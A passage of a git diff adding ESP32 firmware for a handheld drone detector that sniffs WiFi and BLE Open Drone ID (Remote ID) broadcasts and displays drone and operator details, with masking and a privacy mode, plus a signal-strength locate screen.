= 0; +static int listStartIndex = 0; +static bool isDetailView = false; +static bool isLocateMode = false; +static int detailPage = 0; +static const int detailPageCount = 4; +static char locateTargetMac[18] = {0}; +static unsigned long lastButtonPress = 0; + +static bool needsRedraw = true; +static int lastDroneCount = 0; +static unsigned long lastLocateUpdate = 0; +static unsigned long lastCountdownUpdate = 0; + +static ScanPhase currentPhase = PHASE_WIFI_INIT; +static bool isScanning = false; +static unsigned long lastScanTime = 0; +static unsigned long phaseStartTime = 0; +static bool wifiInitialized = false; +static bool bleInitialized = false; +static bool scanCompleted = false; + +static void mac_to_string(const uint8_t *mac, char *str, size_t size) { + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +static const char* get_ua_type_string(uint8_t type) { + switch (type) { + case ODID_UATYPE_AEROPLANE: return "Plane"; + case ODID_UATYPE_HELICOPTER_OR_MULTIROTOR: return "Multi/Heli"; + case ODID_UATYPE_GYROPLANE: return "Gyroplane"; + case ODID_UATYPE_HYBRID_LIFT: return "Hybrid"; + case ODID_UATYPE_GLIDER: return "Glider"; + case ODID_UATYPE_KITE: return "Kite"; + case ODID_UATYPE_FREE_BALLOON: return "Balloon"; + case ODID_UATYPE_AIRSHIP: return "Airship"; + case ODID_UATYPE_ROCKET: return "Rocket"; + default: return "Unknown"; + } +} + +static const char* get_status_string(uint8_t status) { + switch (status) { + case ODID_STATUS_UNDECLARED: return "Undeclared"; + case ODID_STATUS_GROUND: return "Ground"; + case ODID_STATUS_AIRBORNE: return "Airborne"; + case ODID_STATUS_EMERGENCY: return "EMERGENCY"; + case ODID_STATUS_REMOTE_ID_SYSTEM_FAILURE: return "RID Failure"; + default: return "Unknown"; + } +} + +static DroneData* findOrCreateDrone(const uint8_t *mac, int8_t rssi, const char *method, bool isWiFi) { + char mac_str[18]; + mac_to_string(mac, mac_str, sizeof(mac_str)); + + if (isLocateMode && strlen(locateTargetMac) > 0) { + if (strcmp(mac_str, locateTargetMac) != 0) { + return nullptr; + } + } + + for (auto &d : drones) { + if (strcmp(d.mac, mac_str) == 0) { + d.rssi = rssi; + d.lastSeen = millis(); + if (strstr(d.detectionMethod, method) == nullptr) { + if (strlen(d.detectionMethod) > 0 && strcmp(d.detectionMethod, method) != 0) { + strcpy(d.detectionMethod, "WiFi+BLE"); + } else { + strcpy(d.detectionMethod, method); + } + } + return &d; + } + } + + if (drones.size() >= MAX_DRONES) return nullptr; + + DroneData newDrone = {}; + strcpy(newDrone.mac, mac_str); + newDrone.rssi = rssi; + newDrone.lastSeen = millis(); + strcpy(newDrone.detectionMethod, method); + + snprintf(newDrone.id, sizeof(newDrone.id), "Drone-%02X%02X", mac[4], mac[5]); + strcpy(newDrone.operatorId, "N/A"); + strcpy(newDrone.description, "N/A"); + newDrone.latitude = 0; + newDrone.longitude = 0; + newDrone.operatorLatitude = 0; + newDrone.operatorLongitude = 0; + newDrone.operatorAltitude = INV_ALT; + newDrone.altitude = INV_ALT; + newDrone.speed = INV_SPEED_H; + newDrone.direction = INV_DIR; + newDrone.height = INV_ALT; + newDrone.status = ODID_STATUS_UNDECLARED; + newDrone.uaType = ODID_UATYPE_NONE; + newDrone.idType = ODID_IDTYPE_NONE; + newDrone.messagesSeen = 0; + newDrone.isWiFi = isWiFi; + + drones.push_back(newDrone); + if (! isLocateMode) needsRedraw = true; + return &drones.back(); +} + +static void updateDroneFromUASData(const uint8_t *mac, int8_t rssi, const char *method, ODID_UAS_Data *UAS_Data, bool isWiFi) { + DroneData *drone = findOrCreateDrone(mac, rssi, method, isWiFi); + if (!drone) return; + + for (int i = 0; i < ODID_BASIC_ID_MAX_MESSAGES; i++) { + if (UAS_Data->BasicIDValid[i]) { + drone->messagesSeen |= (1 << 0); + drone->idType = UAS_Data->BasicID[i].IDType; + drone->uaType = UAS_Data->BasicID[i].UAType; + + strncpy(drone->id, UAS_Data->BasicID[i]. UASID, ODID_ID_SIZE); + drone->id[ODID_ID_SIZE] = '\0'; + + for (int j = 0; j < ODID_ID_SIZE; j++) { + if (drone->id[j] < 32 || drone->id[j] > 126) { + drone->id[j] = '\0'; + break; + } + } + + if (!isLocateMode) needsRedraw = true; + break; + } + } + + if (UAS_Data->LocationValid) { + drone->messagesSeen |= (1 << 1); + drone->status = UAS_Data->Location. Status; + drone->latitude = UAS_Data->Location. Latitude; + drone->longitude = UAS_Data->Location. Longitude; + drone->altitude = UAS_Data->Location.AltitudeGeo; + drone->height = UAS_Data->Location. Height; + drone->speed = UAS_Data->Location.SpeedHorizontal; + drone->direction = UAS_Data->Location. Direction; + if (!isLocateMode) needsRedraw = true; + } + + if (UAS_Data->SelfIDValid) { + drone->messagesSeen |= (1 << 3); + strncpy(drone->description, UAS_Data->SelfID. Desc, ODID_STR_SIZE); + drone->description[ODID_STR_SIZE] = '\0'; + + for (int j = 0; j < ODID_STR_SIZE; j++) { + if (drone->description[j] < 32 || drone->description[j] > 126) { + drone->description[j] = '\0'; + break; + } + } + if (!isLocateMode) needsRedraw = true; + } + + if (UAS_Data->SystemValid) { + drone->messagesSeen |= (1 << 4); + drone->operatorLatitude = UAS_Data->System.OperatorLatitude; + drone->operatorLongitude = UAS_Data->System.OperatorLongitude; + drone->operatorAltitude = UAS_Data->System.OperatorAltitudeGeo; + if (!isLocateMode) needsRedraw = true; + } + + if (UAS_Data->OperatorIDValid) { + drone->messagesSeen |= (1 << 5); + strncpy(drone->operatorId, UAS_Data->OperatorID. OperatorId, ODID_ID_SIZE); + drone->operatorId[ODID_ID_SIZE] = '\0'; + + for (int j = 0; j < ODID_ID_SIZE; j++) { + if (drone->operatorId[j] < 32 || drone->operatorId[j] > 126) { + drone->operatorId[j] = '\0'; + break; + } + } + if (!isLocateMode) needsRedraw = true; + } +} + +static void wifi_sniffer_packet_handler(void *buff, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *packet = (wifi_promiscuous_pkt_t *)buff; + uint8_t *payload = packet->payload; + int length = packet->rx_ctrl.sig_len; + + ODID_UAS_Data UAS_Data; + odid_initUasData(&UAS_Data); + + if (length > 40 && memcmp(nan_dest, &payload[4], 6) == 0) { + for (int offset = 26; offset < length - ODID_MESSAGE_SIZE; offset++) { + if (decodeOpenDroneID(&UAS_Data, &payload[offset]) == 0) { + updateDroneFromUASData(&payload[10], packet->rx_ctrl.rssi, "WiFi", &UAS_Data, true); + } + } + } + else if (length > 40 && payload[0] == 0x80) { + int offset = 36; + while (offset < length - 6) { + uint8_t typ = payload[offset]; + uint8_t len = payload[offset + 1]; + + if ((typ == 0xdd) && len >= 4 && + (((payload[offset + 2] == 0x90 && payload[offset + 3] == 0x3a && payload[offset + 4] == 0xe6)) || + ((payload[offset + 2] == 0xfa && payload[offset + 3] == 0x0b && payload[offset + 4] == 0xbc)))) { + + int j = offset + 7; + if (j < length - ODID_MESSAGE_SIZE) { + decodeOpenDroneID(&UAS_Data, &payload[j]); + updateDroneFromUASData(&payload[10], packet->rx_ctrl.rssi, "WiFi", &UAS_Data, true); + } + } + offset += len + 2; + if (offset >= length) break; + } + } +} + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void process_ble_remoteid(const uint8_t *payload, size_t len, const uint8_t *mac, int8_t rssi) { + if (len > 6 && payload[1] == 0x16 && payload[2] == 0xFA && + payload[3] == 0xFF && payload[4] == 0x0D) { + + ODID_UAS_Data UAS_Data; + odid_initUasData(&UAS_Data); + + if (decodeOpenDroneID(&UAS_Data, &payload[6]) == 0) { + updateDroneFromUASData(mac, rssi, "BLE", &UAS_Data, false); + } + } +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + break; + + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl. status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + + case ESP_GAP_BLE_SCAN_RESULT_EVT: + if (param->scan_rst.search_evt == ESP_GAP_SEARCH_INQ_RES_EVT) { + uint8_t *adv_data = param->scan_rst.ble_adv; + size_t adv_len = param->scan_rst.adv_data_len; + uint8_t *mac = param->scan_rst.bda; + int8_t rssi = param->scan_rst. rssi; + + process_ble_remoteid(adv_data, adv_len, mac, rssi); + + if (param->scan_rst.scan_rsp_len > 0) { + process_ble_remoteid(param->scan_rst. ble_adv + adv_len, + param->scan_rst.scan_rsp_len, mac, rssi); + } + } else if (param->scan_rst.search_evt == ESP_GAP_SEARCH_INQ_CMPL_EVT) { + isScanning = false; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(8); + } + } + break; + + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + break; + + default: + break; + } +} + +static void init_wifi_sniffer() { + if (wifiInitialized) return; + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(FIXED_CHANNEL, WIFI_SECOND_CHAN_NONE); + wifiInitialized = true; +} + +static void stop_wifi_sniffer() { + if (!wifiInitialized) return; + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); +} + +static void init_ble_scanner() { + if (bleInitialized) return; + if (!initBLE()) return; + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + bleInitialized = true; +} + +static void stop_ble_scanner() { + if (!bleInitialized) return; + cleanupBLE(); + bleInitialized = false; +} + +static void drawList() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + if (! scanCompleted && ! isDetailView && !isLocateMode) { + unsigned long now = millis(); + unsigned long elapsed = now - phaseStartTime; + + u8g2.drawStr(0, 10, "Drone Detector"); + + char scanStr[32]; + if (currentPhase == PHASE_WIFI_INIT) { + snprintf(scanStr, sizeof(scanStr), "WiFi CH:%d", FIXED_CHANNEL); + } else if (currentPhase == PHASE_BLE_INIT) { + snprintf(scanStr, sizeof(scanStr), "Scanning BLE.. ."); + } + u8g2.drawStr(0, 22, scanStr); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)drones.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + unsigned long phaseDuration = (currentPhase == PHASE_WIFI_INIT) ? WIFI_SCAN_DURATION : BLE_SCAN_DURATION; + if (elapsed < phaseDuration) { + int fillWidth = (elapsed * (barWidth - 4)) / phaseDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + return; + } + + if (drones.empty()) { + if (isContinuousScanEnabled()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Drone Detector"); + u8g2.drawStr(0, 22, "Scanning..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", 0); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No drones detected"); + u8g2.setFont(u8g2_font_5x8_tr); + unsigned long now = millis(); + char timeStr[32]; + unsigned long timeLeft = (SCAN_INTERVAL - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + return; + } + + char header[32]; + snprintf(header, sizeof(header), "Drones: %d/%d", + (int)drones.size(), MAX_DRONES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)drones.size()) break; + + auto &drone = drones[idx]; + if (idx == currentIndex) { + u8g2.drawStr(0, 20 + i * 10, ">"); + } + + char line[32]; + const char *display_id = (drone.id[0] != '\0') ? drone.id : drone.mac; + char maskedID[33]; + if (drone.id[0] != '\0') { + maskName(drone.id, maskedID, sizeof(maskedID) - 1); + } else { + maskMAC(drone.mac, maskedID); + } + snprintf(line, sizeof(line), "%.12s %d", maskedID, drone.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawDetail() { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + if (currentIndex >= (int)drones.size()) { + u8g2.drawStr(0, 30, "No drone selected"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + return; + } + + auto &drone = drones[currentIndex]; + char buf[64]; + + if (detailPage == 0) { + const char *display_id = (drone.id[0] != '\0') ? drone.id : drone.mac; + char maskedID[33]; + if (drone.id[0] != '\0') { + maskName(drone.id, maskedID, sizeof(maskedID) - 1); + } else { + maskMAC(drone.mac, maskedID); + } + snprintf(buf, sizeof(buf), "ID: %s", maskedID); + u8g2.drawStr(0, 10, buf); + + snprintf(buf, sizeof(buf), "Type: %s", get_ua_type_string(drone.uaType)); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "Status: %s", get_status_string(drone.status)); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", drone.rssi); + u8g2.drawStr(0, 40, buf); + + unsigned long age = (millis() - drone.lastSeen) / 1000; + snprintf(buf, sizeof(buf), "Age: %lus", age); + u8g2.drawStr(0, 50, buf); + + } else if (detailPage == 1) { + if (drone.latitude != 0 || drone.longitude != 0) { + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "Lat: **.**"); + } else { + snprintf(buf, sizeof(buf), "Lat: %.6f", drone.latitude); + } + u8g2.drawStr(0, 10, buf); + + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "Lng: **.**"); + } else { + snprintf(buf, sizeof(buf), "Lng: %.6f", drone.longitude); + } + u8g2.drawStr(0, 20, buf); + + if (drone.altitude > INV_ALT) { + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "Alt: **m"); + } else { + snprintf(buf, sizeof(buf), "Alt: %.1fm", drone.altitude); + } + } else { + snprintf(buf, sizeof(buf), "Alt: N/A"); + } + u8g2.drawStr(0, 30, buf); + + if (drone.speed < INV_SPEED_H) { + snprintf(buf, sizeof(buf), "Spd: %.1fm/s", drone.speed); + } else { + snprintf(buf, sizeof(buf), "Spd: N/A"); + } + u8g2.drawStr(0, 40, buf); + + if (drone.direction <= 360.0f) { + snprintf(buf, sizeof(buf), "Dir: %d deg", (int)drone.direction); + } else { + snprintf(buf, sizeof(buf), "Dir: N/A"); + } + u8g2.drawStr(0, 50, buf); + } else { + u8g2.drawStr(0, 30, "No location data"); + } + + } else if (detailPage == 2) { + char maskedMAC[18]; + maskMAC(drone.mac, maskedMAC); + snprintf(buf, sizeof(buf), "MAC: %s", maskedMAC); + u8g2.drawStr(0, 10, buf); + + snprintf(buf, sizeof(buf), "Via: %s", drone.detectionMethod); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "Msgs:%c%c%c%c%c%c", + (drone.messagesSeen & (1<<0)) ? 'B' : '-', // Basic ID + (drone.messagesSeen & (1<<1)) ? 'L' : '-', // Location + (drone.messagesSeen & (1<<2)) ? 'A' : '-', // Area + (drone.messagesSeen & (1<<3)) ? 'S' : '-', // Self ID + (drone.messagesSeen & (1<<4)) ? 'Y' : '-', // System + (drone.messagesSeen & (1<<5)) ? 'O' : '-'); // Operator ID + u8g2.drawStr(0, 30, buf); + + } else if (detailPage == 3) { + if (drone.operatorId[0] && strcmp(drone.operatorId, "N/A") != 0) { + char maskedOperatorId[33]; + maskName(drone.operatorId, maskedOperatorId, sizeof(maskedOperatorId) - 1); + snprintf(buf, sizeof(buf), "Op: %.16s", maskedOperatorId); + u8g2.drawStr(0, 10, buf); + } else { + u8g2.drawStr(0, 10, "Op: N/A"); + } + + if (drone.operatorLatitude != 0 || drone.operatorLongitude != 0) { + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "OpLat: **.**"); + } else { + snprintf(buf, sizeof(buf), "OpLat: %.6f", drone.operatorLatitude); + } + u8g2.drawStr(0, 20, buf); + + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "OpLng: **.**"); + } else { + snprintf(buf, sizeof(buf), "OpLng: %.6f", drone.operatorLongitude); + } + u8g2.drawStr(0, 30, buf); + + if (drone.operatorAltitude > INV_ALT) { + if (isPrivacyModeEnabled()) { + snprintf(buf, sizeof(buf), "OpAlt: **m"); + } else { + snprintf(buf, sizeof(buf), "OpAlt: %.1fm", drone.operatorAltitude); + } + u8g2.drawStr(0, 40, buf); + } + } else { + u8g2.drawStr(0, 20, "OpLoc: N/A"); + } + + if (drone.description[0] && strcmp(drone.description, "N/A") != 0) { + char maskedDescription[33]; + maskName(drone.description, maskedDescription, sizeof(maskedDescription) - 1); + snprintf(buf, sizeof(buf), "Dsc: %.16s", maskedDescription); + u8g2.drawStr(0, 50, buf); + } else { + u8g2.drawStr(0, 50, "Dsc: N/A"); + } + } + + snprintf(buf, sizeof(buf), "L=Back U/D=Pg%d/%d R=Loc", detailPage + 1, detailPageCount); + u8g2.drawStr(0, 60, buf); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +static void drawLocate() { + u8g2.clearBuffer(); + + if (currentIndex >= (int)drones.size()) { + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 30, "Drone lost"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + return; + } + + auto &drone = drones[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + const char *display_id = (drone.id[0] != '\0') ? drone.id : drone.mac; + char maskedID[33]; + if (drone.id[0] != '\0') { + maskName(drone.id, maskedID, sizeof(maskedID) - 1); + } else { + maskMAC(drone.mac, maskedID); + } + snprintf(buf, sizeof(buf), "%.16s", maskedID); + u8g2.drawStr(0, 8, buf); + + char maskedMAC[18]; + maskMAC(drone.mac, maskedMAC); + snprintf(buf, sizeof(buf), "%s", maskedMAC); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", drone.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(drone.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void droneDetectorSetup() { + drones.clear(); + drones.reserve(MAX_DRONES); + + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + detailPage = 0; + lastButtonPress = 0; + isScanning = true; + needsRedraw = true; + lastDroneCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + scanCompleted = false; + currentPhase = PHASE_WIFI_INIT; + phaseStartTime = 0; + bleInitialized = false; + wifiInitialized = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); + + init_wifi_sniffer(); + phaseStartTime = millis(); + lastScanTime = millis(); +} + +void droneDetectorLoop() { + unsigned long now = millis(); + + unsigned long effectiveWifiScanDuration = WIFI_SCAN_DURATION; + unsigned long effectiveBleScanDuration = BLE_SCAN_DURATION; + unsigned long effectiveScanInterval = SCAN_INTERVAL; + + if (drones.empty() && isContinuousScanEnabled() && scanCompleted) { + effectiveWifiScanDuration = 3000; + effectiveBleScanDuration = 3000; + effectiveScanInterval = 500; + } + + bool shouldShowPhaseScreen = ! scanCompleted || (drones.empty() && isContinuousScanEnabled()); + + if (shouldShowPhaseScreen && ! isDetailView && !isLocateMode && !scanCompleted) { + if (currentPhase == PHASE_WIFI_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (elapsed >= effectiveWifiScanDuration) { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + init_ble_scanner(); + currentPhase = PHASE_BLE_INIT; + phaseStartTime = now; + needsRedraw = true; + } else { + if ((lastDroneCount != (int)drones.size()) || (now - lastLocateUpdate >= 100)) { + lastDroneCount = (int)drones.size(); + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Drone Detector"); + + char scanStr[32]; + snprintf(scanStr, sizeof(scanStr), "WiFi CH:%d", FIXED_CHANNEL); + u8g2.drawStr(0, 22, scanStr); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)drones.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveWifiScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + + } else if (currentPhase == PHASE_BLE_INIT) { + unsigned long elapsed = now - phaseStartTime; + + if (! isScanning && elapsed >= effectiveBleScanDuration) { + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + } + + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + esp_wifi_set_promiscuous(false); + wifiInitialized = true; + + currentPhase = PHASE_COMPLETED; + scanCompleted = true; + lastScanTime = now; + needsRedraw = true; + } else { + if ((lastDroneCount != (int)drones.size()) || (now - lastLocateUpdate >= 100)) { + lastDroneCount = (int)drones.size(); + lastLocateUpdate = now; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Drone Detector"); + u8g2.drawStr(0, 22, "Scanning BLE..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "Found: %d", (int)drones.size()); + u8g2.drawStr(0, 34, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 38; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (elapsed * (barWidth - 4)) / effectiveBleScanDuration; + if (fillWidth > 0 && fillWidth < barWidth - 4) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + } + return; + } + } + + if (scanCompleted && now - lastScanTime > effectiveScanInterval && !isDetailView && !isLocateMode) { + if (drones.size() >= MAX_DRONES) { + std::sort(drones.begin(), drones.end(), + [](const DroneData &a, const DroneData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DRONES / 4; + if (devicesToRemove > 0) { + drones.erase(drones. begin(), drones.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + wifi_mode_t currentMode; + if (esp_wifi_get_mode(¤tMode) != ESP_OK) { + wifiInitialized = false; + init_wifi_sniffer(); + } else { + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(FIXED_CHANNEL, WIFI_SECOND_CHAN_NONE); + } + + currentPhase = PHASE_WIFI_INIT; + scanCompleted = false; + phaseStartTime = now; + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)drones.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + ! drones.empty()) { + isDetailView = true; + detailPage = 0; + esp_wifi_set_promiscuous(false); + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && ! isLocateMode && digitalRead(BTN_UP) == LOW) { + if (detailPage > 0) { + --detailPage; + } else { + detailPage = detailPageCount - 1; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW) { + if (detailPage < detailPageCount - 1) { + ++detailPage; + } else { + detailPage = 0; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && ! isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !drones.empty()) { + isLocateMode = true; + strncpy(locateTargetMac, drones[currentIndex]. mac, sizeof(locateTargetMac) - 1); + locateTargetMac[sizeof(locateTargetMac) - 1] = '\0'; + + if (drones[currentIndex].isWiFi) { + wifi_mode_t currentMode; + if (esp_wifi_get_mode(¤tMode) != ESP_OK) { + wifiInitialized = false; + init_wifi_sniffer(); + } else { + esp_wifi_set_promiscuous(true); + esp_wifi_set_promiscuous_rx_cb(&wifi_sniffer_packet_handler); + wifi_promiscuous_filter_t flt = {.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT}; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_channel(FIXED_CHANNEL, WIFI_SECOND_CHAN_NONE); + } + } else { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(100); + + init_ble_scanner(); + } + + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetMac, 0, sizeof(locateTargetMac)); + + if (bleInitialized) { + cleanupBLE(); + bleInitialized = false; + initWiFi(WIFI_MODE_STA); + esp_wifi_set_ps(WIFI_PS_NONE); + wifiInitialized = true; + } else { + esp_wifi_set_promiscuous(false); + } + + lastButtonPress = now; + lastScanTime = now; + needsRedraw = true; + } else if (isDetailView && ! isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + detailPage = 0; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (drones.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + detailPage = 0; + memset(locateTargetMac, 0, sizeof(locateTargetMac)); + } else { + currentIndex = constrain(currentIndex, 0, (int)drones.size() - 1); + listStartIndex = constrain(listStartIndex, 0, max(0, (int)drones.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (drones.empty() && scanCompleted && now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (! needsRedraw) { + return; + } + + needsRedraw = false; + + if (isLocateMode) { + drawLocate(); + } else if (isDetailView) { + drawDetail(); + } else { + drawList(); + } +} + +void cleanupDroneDetector() { + cleanupWiFi(); + cleanupBLE(); +} \ No newline at end of file diff --git 